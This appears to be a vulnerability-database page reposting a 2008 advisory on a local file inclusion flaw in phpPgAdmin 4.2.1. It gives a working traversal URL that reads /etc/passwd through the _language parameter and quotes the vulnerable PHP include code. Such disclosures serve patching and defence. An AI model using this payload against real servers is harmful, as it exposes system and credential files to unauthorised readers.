Lucene search
K

phpPgAdmin <= 4.2.1 (_language) Local File Inclusion Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

phpPgAdmin <= 4.2.1 Local File Inclusion Vulnerabilit

Code

                                                  :::::::-.   ...    ::::::.    :::.
   ;;,   `&#39;;, ;;     ;;;`;;;;,  `;;;
   `[[     [[[[&#39;     [[[  [[[[[. &#39;[[
    $$,    $$$$      $$$  $$$ &#34;Y$c$$
    888_,o8P&#39;88    .d888  888    Y88
    MMMMP&#34;`   &#34;YmmMMMM&#34;&#34;  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [ phpPgAdmin &#60;= 4.2.1 ]  Local File Inclusion Vulnerability   #
 ##################################################################
 #
 # Script: &#34;phpPgAdmin is a web-based administration tool for PostgreSQL. It is perfect for PostgreSQL DBAs, newbies and hosting services.&#34;
 #
 # Script site: http://www.phppgadmin.org/
 # Download: http://phppgadmin.sourceforge.net/?page=download
 #
 # Vuln: http://site.com/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00
 #
 # Bug: ./phpPgAdmin-4.2.1/index.php (line: 11)
 #
 # ...
 #	include_once(&#39;./libraries/lib.inc.php&#39;);
 # ... 	 
 #
 #
 # Bug: ./phpPgAdmin-4.2.1/libraries/lib.inc.php (lines: 22-138 -&#62; 136)
 #
 # ...
 #	// Determine language file to import:
 #	// 1. Check for the language from a request var
 #	if (isset($_REQUEST[&#39;language&#39;]) && isset($appLangFiles[$_REQUEST[&#39;language&#39;]]))
 #		$_language = $_REQUEST[&#39;language&#39;]; 
 #
 #	// 2. Check for language session var
 #	if (!isset($_language) && isset($_SESSION[&#39;webdbLanguage&#39;]) && isset($appLangFiles[$_SESSION[&#39;webdbLanguage&#39;]])) {
 #		$_language = $_SESSION[&#39;webdbLanguage&#39;];
 #	}
 #
 #	// 3. Check for acceptable languages in HTTP_ACCEPT_LANGUAGE var
 #	if (!isset($_language) && $conf[&#39;default_lang&#39;] == &#39;auto&#39; && isset($_SERVER[&#39;HTTP_ACCEPT_LANGUAGE&#39;])) {
 #		// extract acceptable language tags
 #		// (http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.4)
 #		preg_match_all(&#39;/\s*([a-z]{1,8}(?:-[a-z]{1,8})*)(?:;q=([01](?:.[0-9]{0,3})?))?\s*(?:,|$)/&#39;, strtolower($_SERVER[&#39;HTTP_ACCEPT_LANGUAGE&#39;]), $_m, PREG_SET_ORDER);
 #		foreach($_m as $_l) {  // $_l[1] = language tag, [2] = quality
 #			if (!isset($_l[2])) $_l[2] = 1;  // Default quality to 1
 #			if ($_l[2] &#62; 0 && $_l[2] &#60;= 1 && isset($availableLanguages[$_l[1]])) {
 #				// Build up array of (quality =&#62; language_file)
 #				$_acceptLang[$_l[2]] = $availableLanguages[$_l[1]];
 #			}
 #		}
 #		unset($_m);
 #		unset($_l);
 #		if (isset($_acceptLang)) {
 #			// Sort acceptable languages by quality
 #			krsort($_acceptLang, SORT_NUMERIC);
 #			$_language = reset($_acceptLang);
 #			unset($_acceptLang);
 #		}
 #	} 
 #
 #	// 4. Otherwise resort to the default set in the config file
 #	if (!isset($_language) && $conf[&#39;default_lang&#39;] != &#39;auto&#39; && isset($appLangFiles[$conf[&#39;default_lang&#39;]])) {
 #		$_language = $conf[&#39;default_lang&#39;];
 #	}
 #
 #	// Import the language file
 #	if (isset($_language)) {
 #		include(&#34;./lang/recoded/{$_language}.php&#34;);									// * LFI *
 #		$_SESSION[&#39;webdbLanguage&#39;] = $_language;
 #	}
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-12-06]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation